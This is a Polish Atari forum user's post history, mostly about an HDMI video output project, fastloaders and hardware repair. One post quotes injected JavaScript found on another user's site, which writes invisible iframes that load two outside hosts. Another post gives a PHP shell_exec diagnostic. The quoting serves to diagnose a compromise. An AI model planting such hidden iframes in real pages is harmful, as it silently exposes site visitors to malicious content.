1,876

(22 odpowiedzi, napisanych Bałagan)

Szczerze mówiąc przy tylu wejściach to szkoda sobie zaśmiecać stronę reklamami.

1,877

(22 odpowiedzi, napisanych Bałagan)

A to już inna bajka...

1,878

(22 odpowiedzi, napisanych Bałagan)

Poczytaj: http://www.podatki.biz/sn_autoryzacja/l ... kulu=18028
http://ryczalt.wieszjak.pl/najem-i-dzie ... dotad.html

1,879

(253 odpowiedzi, napisanych Kolekcjonowanie)

Ten link już się na forum pojawiał, ale przytoczę go jeszcze raz.
Na stronie http://retr0bright.wikispaces.com jest opsane szczegółowo co jak i dlaczego.

1,880

(44 odpowiedzi, napisanych Fabryka - 8bit)

Nie tyle rozwiązała, co potwierdziła źródło problemu.
Da się to oczywiście obejść, ale była by to już sztuka dla sztuki, przekombinowany układ itd.

Kilka ostatnich dni poświęciłem na zapoznanie się ze specyfikacją cyfrowej transmisji danych (DVI/HDMI) oraz zapoznałem się przynajmniej z podstawami vHDL'a oraz z możliwościami FPGA. To jest wręcz stworzone do tego celu.

Od przyszłego tygodnia zaczynam od nowa. Tym razem biorę się za FPGA :)

1,881

(44 odpowiedzi, napisanych Fabryka - 8bit)

Za każdym razem się na tym łapię. Myli mnie to że trzeba załącznik jeszcze potwierdzić po jego wybraniu.

1,882

(44 odpowiedzi, napisanych Fabryka - 8bit)

W załącznku wynik testu.

Jak widać ani jednego zgubionego pixela. Potwierdza to moją tezę.

(GPU a właściwie Framebuffer został zainicjowany dopiero po zakończeciu przechwytywania)

1,883

(13 odpowiedzi, napisanych Sprawy atari.area)

Problem jest w pliku:

http://www.atari.org.pl/forum/extension ... hortcut.js

Linia 39:
if (e.ctrlKey && (isGecko && key == 115 || !isGecko && key == 83)) {

Najprościej było by zakomentować linie od 39 do 48 włącznie, lub w linii 38 dodać "return false;" bo faktycznie problem upierdliwy jest.

1,884

(28 odpowiedzi, napisanych Kupię / Sprzedam / Zamienię Atari)

Też się skuszę.
Poproszę o dane co i jak zapłacić.

1,885

(7 odpowiedzi, napisanych Bałagan)

uruchom taki skrypt na serverze w głównym katalogu.

<?php
print_r (shell_exec('cd ..;ls')
?>

Jak się wykona i poda katalogi nadrzędne to jest na 95% wina servera.

1,886

(7 odpowiedzi, napisanych Bałagan)

Problemy najprawdopodobniej stwarza to:

W pliku /skrypty/m-x.js

Na końcu doklejony jest taki kod:

document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://gclabrelscon.net/about.php"></iframe></div>');


document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.mc-plainlinde.at/upload/upload.php"></iframe></div>');

Albo masz gdziś dziurę w którymś skrypcie php (upload jakiś), albo server dziurawy i przez powłokę coś się uruchamia, nie koniecznie na twoim koncie.

1,887

(5 odpowiedzi, napisanych Sprzęt - 8bit)

http://www.atariage.com/forums/topic/12 ... interface/

1,888

(8 odpowiedzi, napisanych Bałagan)

Jak wyżej.
Ale jak już koniecznie musisz to może jakieś iframe, rozwiązań jest conajmniej wiele zależy co chcesz osiągnąć.

1,889

(44 odpowiedzi, napisanych Fabryka - 8bit)

Tam nie ma śladu linuxa, wszystko w asemblerze napisane. Procedura obsługi przerwania i rysowania na ekranie (tylko dane antica) to raptem 17  intrukcji w asemblerze w tym 1 skok warunkowy, włączone L1 cache dla danych i dla instrukcji + predykcja skoków. I to by się zgrabnie wyrabiało gdyby nie to że GPU co jakiś czas zatrzymuje CPU pewnie żeby pobrać dane z RAM.

W miarę cykliczne występowanie tego zjawiska widać na screenie. Każda linia jest synchronizowana od lewej strony. Zgodnie z tym jak ANTIC dane śle.

1,890

(44 odpowiedzi, napisanych Fabryka - 8bit)

Nie widzę sensu dalej pchania się w tym kierunku. Zrobiłem to na "szybkich" przerwaniach (FIQ). Żeby dane bez większego problemu dało się wepchać to trzeba je przepuścić przez coś w rodzaju multiplexara (cpld) przy okazji pełnił on by rolę konwertera poziomów do 3v3 a i dane trzeba pchać po 12 bitów na raz.
Korzystając z RPI chciałem wykorzystać inne możliwości które w nim tkwią, ale tracąc możliwość synchronicznej kmunikacji ... uważam że projekt traci sens.

1,891

(44 odpowiedzi, napisanych Fabryka - 8bit)

Widzę że ktoś posprzątał :)

Niestety Raspberry PI nie do końca się nadaje do tego celu. Nie da się bez straty synchronicznie z OSC pchać do niego danych. Da się to obejść ale była by to już sztuka dla sztuki, układ stałby się przekombinowany i pozbawiony sensu. Architektura RPI czyli 'GPU over CPU' powoduje że GPU przejmuje kontrolę nad CPU na kilkaset ns ... i efekt jak na screenach.

Projekt w takiej formie zarzucam bo nie widzę sensu w takiej jego postaci (mimo że jest o wykonalne)

Nie znaczy to jednak że nie będę myślał nad innym rozwiązaniem problemu :)

Sprowadzi się to albo do zrobienia gtia w jakimś tanim fpga (Tu znowu trzeba wynaleźć koło bo nikt nie chce udostępnić, chociaż zapowiedzi były), albo jakiś mcu ze sporą ilością ram.

Przy okazji takie ficzery jak 640x480 i VGA out wyjdą same.

1,892

(2 odpowiedzi, napisanych Software, Gry - 16/32bit)

W DosBoxie działa :)

1,893

(44 odpowiedzi, napisanych Fabryka - 8bit)

Nie zamiennik. GTIA nigdzie się nie rusza. Układ ma działać równolegle.

1,894

(44 odpowiedzi, napisanych Fabryka - 8bit)

Więc po kolei.

Nie jest to żaden konwerter.
Układ działa równolegle do GTIA. Czyli Atari nie będie pozbawione niczego ze swojej funkcjonalności.

Na chwilę obecną nie ma zaimplementowanych żadnych rejestrów. Obraz jest generowany w tej chwili z tego co ANTIC wysyła.
Niestety zastosowane rozwiązanie Hardwareowe - które może być zaskoczeniem i narazie pozwolę sobie go nie wyjawiać ;-> - ma pewne wady. Nie jest w stanie obsłużyć przerwań z częstotliwością 3,5MHz (OSC) i co jakiś czas gubi przerwanie. Co widać na załączonych screenach jako zgubione pixele i poszarpane krawędzie.

Koszt: Myślę że max 250 w porywach 300PLN

Fotki narazie nie zamieszczę, ale wielu ma najdroższy element w domu.

Nie powinno być problemu z konwersją na DVI.

Początkowo chciałem zaemulować cały ekran PAL (istnieje nawet tryb 288p dla HDMI), ale wydaje mi się to bezcelowe. Skupię się na normalnie widocznych 240 liniach.

Projekt zamierzam w całości opublikować jako Open Source, a nie jako "open source" co się często zdaża. Znaczy to że wszelkie pliki źródłowe będą dostępne.

1,895

(44 odpowiedzi, napisanych Fabryka - 8bit)

Załączniki dodałem.

1,896

(44 odpowiedzi, napisanych Fabryka - 8bit)

W załączeniu fotka ekranu podłączonego przez HDMI do A8.

Jest to na razie tylko demonstracja że się da :) 
Jak widać obraz jest na razie niestabilny (proporcje też ale to jest mój błąd w ustawieniach), i nie wiem czy uda się rozwiązać wszystkie problemy które do tej pory napotkałem.

Priorytetem miała być dostępność i przyzwoity koszt.

Postaram się na bieżąco informować o postępach. Na razie stanęło na problemie który na papierze trzeba najpierw rozwiązać a objawia się brakiem stabilności obrazu :)

Pozdrawiam.

--
Edit:
Goście przyszli i zapomniałem o załącznikach :)

1,897

(54 odpowiedzi, napisanych Bałagan)

Dlatego uważam że najprościej byłoby rozpoznać jakieś najpopularniejsze fastloadery i je udawać - zamiast emulować procesor.
Z 2 strony ... mnogość rozwiązań i o ile się orientuję brak przyjętego standardu powoduje że takie rozwiązanie nie rozwiąże całkowicie problemu.

1,898

(54 odpowiedzi, napisanych Bałagan)

Ale po co emulować całą stację. To robota głupiego.
Ja bym postawił na rozwiązanie mieszane. Trochę HW i trochę SW.
HW Udaje stację i w zależności od tego jaki fastloader rozpozna, udaje odpowiednie zachowanie + pośredniczy w wymianie danych z PC. A SW po stronie PC serwuje pliki itd...

Na szybko przyswoiłem podstawową wiedzę o fastloaderach i cały pic polega na tym że trzeba to wszystko dokładnie zsynchronizować ... a najprościej zrobić to tak jak w ultimate uczyniono - podpiąć się pod port Cartridgea :D

1,899

(32 odpowiedzi, napisanych Sprzęt - 8bit)

Za młodych lat naprawiałem wiele silniczków, z silnickami a magnetofonów niestety nie mam za wiele doświadczenia. Niemniej mój (x)ca12 aż się prosi o konserwację więc niebawem zrobię rozpoznanie.

1,900

(32 odpowiedzi, napisanych Sprzęt - 8bit)

Wg. mnie bez rozebrania i czyszczenia komutatora się nie obejdzie.
Szczelina między biegunami jest zapchana opiłkami zapewne.